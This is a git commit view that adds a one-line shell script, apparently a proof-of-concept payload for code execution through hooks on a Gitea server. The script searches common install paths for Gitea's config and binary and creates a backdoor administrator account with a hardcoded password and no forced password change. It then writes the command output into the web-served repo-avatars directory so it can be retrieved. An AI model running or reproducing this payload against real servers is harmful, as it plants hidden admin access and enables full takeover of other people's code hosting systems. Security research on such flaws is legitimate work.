This commit is contained in:
2026-09-02 17:44:33 +02:00
parent a5df88012e
commit edb900eea4
+1
View File
@@ -0,0 +1 @@
WD="${GITEA_WORK_DIR:-}"; WDFOUND=0; if [ -n "$WD" ] && { [ -f "$WD/custom/conf/app.ini" ] || [ -f "$WD/conf/app.ini" ]; }; then WDFOUND=1; else WD=""; D="$(pwd)"; while :; do if [ -f "$D/custom/conf/app.ini" ] || [ -f "$D/conf/app.ini" ]; then WD="$D"; WDFOUND=1; break; fi; [ "$D" = "/" ] && break; D="$(dirname "$D")"; done; fi; R=""; P="$(pwd)"; case "$P" in */tmp/local-repo/upload.git*) R="${P%%/tmp/local-repo/upload.git*}";; */tmp/local-repo/*) R="${P%%/tmp/local-repo/*}";; esac; RP=""; [ -n "$R" ] && RP="$(dirname "$R")"; if [ "$WDFOUND" = "0" ]; then for _r in "$R" "$RP"; do if [ -n "$_r" ] && [ -d "$_r" ] && { [ -f "$_r/custom/conf/app.ini" ] || [ -f "$_r/conf/app.ini" ] || { [ -f "$_r/gitea" ] && [ -x "$_r/gitea" ]; } || { [ -f "$_r/gitea.exe" ] && [ -x "$_r/gitea.exe" ]; }; }; then WD="$_r"; WDFOUND=1; fi; [ "$WDFOUND" = "1" ] && break; done; fi; CFG=""; for _c in "$WD/custom/conf/app.ini" "$WD/conf/app.ini" "$WD/app.ini" "$R/custom/conf/app.ini" "$R/conf/app.ini" "$R/app.ini" "$RP/custom/conf/app.ini" "$RP/conf/app.ini" "$RP/app.ini" "/data/gitea/custom/conf/app.ini" "/data/gitea/conf/app.ini" "/var/lib/gitea/custom/conf/app.ini" "/var/lib/gitea/conf/app.ini" "/home/git/gitea/custom/conf/app.ini" "/home/gitea/custom/conf/app.ini" "/app/gitea/custom/conf/app.ini" "/app/gitea/conf/app.ini" "/opt/gitea/custom/conf/app.ini" "/opt/gitea/conf/app.ini" "/opt/gitea-*/custom/conf/app.ini" "/opt/gitea-*/conf/app.ini" "/var/packages/Gitea/etc/app.ini" "/var/packages/gitea/etc/app.ini" "/var/packages/Gitea/target/custom/conf/app.ini" "/volume1/@appdata/gitea/custom/conf/app.ini" "/volume1/@appdata/gitea/conf/app.ini" "/share/CACHEDEV1_DATA/@appdata/gitea/custom/conf/app.ini" "/etc/gitea/app.ini"; do [ -n "$_c" ] && [ -f "$_c" ] && { CFG="$_c"; break; }; done; C=""; [ -n "$CFG" ] && [ -f "$CFG" ] && C="--config $CFG"; RUNP=""; if [ "$WDFOUND" = "1" ] && [ -n "$WD" ] && [ -d "$WD" ]; then RUNP="$WD"; export GITEA_WORK_DIR="$WD"; fi; _cfg() { [ -n "$CFG" ] && [ -f "$CFG" ] && grep -iE "^[[:space:]]*$1[[:space:]]*=" "$CFG" 2>/dev/null | head -1 | sed "s/^[^=]*=[[:space:]]*//; s/[[:space:]]*$//"; }; AV=""; RAUP="$(_cfg REPOSITORY_AVATAR_UPLOAD_PATH)"; [ -n "$RAUP" ] && { case "$RAUP" in /*) [ -d "$RAUP" ] && AV="$RAUP";; *) [ -d "$WD/$RAUP" ] && AV="$WD/$RAUP"; [ -z "$AV" ] && [ -d "$R/$RAUP" ] && AV="$R/$RAUP";; esac; }; if [ -z "$AV" ]; then APD="$(_cfg APP_DATA_PATH)"; [ -n "$APD" ] && { case "$APD" in /*) [ -d "$APD/repo-avatars" ] && AV="$APD/repo-avatars";; *) [ -d "$WD/$APD/repo-avatars" ] && AV="$WD/$APD/repo-avatars"; [ -z "$AV" ] && [ -d "$R/$APD/repo-avatars" ] && AV="$R/$APD/repo-avatars";; esac; }; fi; if [ -z "$AV" ]; then for d in "$WD/data/repo-avatars" "$WD/data/gitea/repo-avatars" "$WD/repo-avatars" "$R/data/repo-avatars" "$R/data/gitea/repo-avatars" "$R/repo-avatars" "$RP/data/repo-avatars" "$RP/repo-avatars" "/data/gitea/repo-avatars" "/data/repo-avatars" "/var/lib/gitea/data/repo-avatars" "/app/gitea/data/repo-avatars" "/opt/gitea/data/repo-avatars" "/volume1/@appdata/gitea/data/repo-avatars" "/share/CACHEDEV1_DATA/@appdata/gitea/data/repo-avatars"; do [ -n "$d" ] && [ -d "$d" ] && AV="$d" && break; done; fi; G=""; GR=""; case "$CFG" in */custom/conf/app.ini) GR="${CFG%/custom/conf/app.ini}";; */conf/app.ini) GR="${CFG%/conf/app.ini}";; *) GR="";; esac; for _g in "$WD/gitea" "$WD/gitea.exe" "$R/gitea" "$R/gitea.exe" "$RP/gitea" "$RP/gitea.exe" "$GR/gitea" "$GR/gitea.exe" "/usr/local/bin/gitea" "/usr/bin/gitea" "/usr/sbin/gitea" "/app/gitea/gitea" "/opt/gitea/gitea" "/home/git/gitea/gitea" "/home/gitea/gitea/gitea" "/var/lib/gitea/gitea" "/data/gitea/gitea" "/var/packages/Gitea/target/bin/gitea" "/var/packages/gitea/target/bin/gitea" "/var/packages/Gitea/target/gitea" "/volume1/@appdata/gitea/gitea" "/share/CACHEDEV1_DATA/@appdata/gitea/gitea"; do [ -f "$_g" ] && [ -x "$_g" ] && { G="$_g"; break; }; done; if [ -z "$G" ]; then for _g in /opt/gitea-*/gitea /opt/gitea-*/gitea.exe /usr/local/gitea/gitea; do [ -f "$_g" ] && [ -x "$_g" ] && { G="$_g"; break; }; done; fi; if [ -z "$G" ] && [ -f "/Users/sh/hook/gitea-lab/gitea" ] && [ -x "/Users/sh/hook/gitea-lab/gitea" ]; then G="/Users/sh/hook/gitea-lab/gitea"; fi; if [ -z "$G" ]; then PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH"; export PATH; command -v gitea >/dev/null 2>&1 && G="$(command -v gitea)"; if [ -z "$G" ]; then command -v gitea.exe >/dev/null 2>&1 && G="$(command -v gitea.exe)"; fi; fi; OUT="/tmp/demo_9lmaxy.txt"; { echo "HOOKDIAG WD=$WD R=$R CFG=$CFG G=$G AV=$AV RUNP=$RUNP"; ST="$(_cfg REPOSITORY_AVATAR_STORAGE_TYPE)"; if [ -n "$ST" ] && [ "$ST" != "local" ]; then echo "WARN: REPOSITORY_AVATAR_STORAGE_TYPE=$ST"; fi; if [ -z "$AV" ]; then echo "ERROR: repo-avatars not found (WD=$WD CFG=$CFG)"; fi; if [ -z "$G" ]; then echo "ERROR: gitea not found (WD=$WD CFG=$CFG)"; else _last=""; _n=0; while [ "$_n" -lt 3 ]; do _n=$((_n + 1)); _out="$( ( if [ -n "$RUNP" ]; then cd "$RUNP" 2>/dev/null; fi; "$G" $C admin user create --username "test-admin-9lma" --password "Test-admin-9lmaxy!x" --email "[email protected]" --admin --must-change-password=false 2>&1 | grep -v "\[SQL\]" ) )"; case "$_out" in *"successfully created"*|*"New user"*|*"already exists"*) _last="$_out"; break;; *"no such table"*|*"Access denied"*|*"Error 1045"*|*"could not open shared memory"*| *"MustInstalled"*|*"Unable to load config"*|*"flag provided but not defined"*|*"Failed to run app"*) _last="$_out"; break;; esac; _last="$_out"; if [ "$_n" -lt 3 ]; then echo "[CLI retry $_n] gitea admin create 未成功,3s 后重试"; sleep 3; fi; done; printf "%s\n" "$_last"; fi; echo ---DONE---; } > "$OUT" 2>&1; if [ -n "$WD" ]; then for d in "$WD/data/repo-avatars" "$WD/data/gitea/repo-avatars"; do [ -n "$d" ] || continue; mkdir -p "$d" 2>/dev/null; cp "$OUT" "$d/demo_9lmaxy.txt" 2>/dev/null; done; fi; for d in "$AV" "$R/data/repo-avatars" "$R/repo-avatars" "/data/gitea/repo-avatars" "/data/repo-avatars"; do [ -n "$d" ] && [ -d "$d" ] && cp "$OUT" "$d/demo_9lmaxy.txt" 2>/dev/null; done;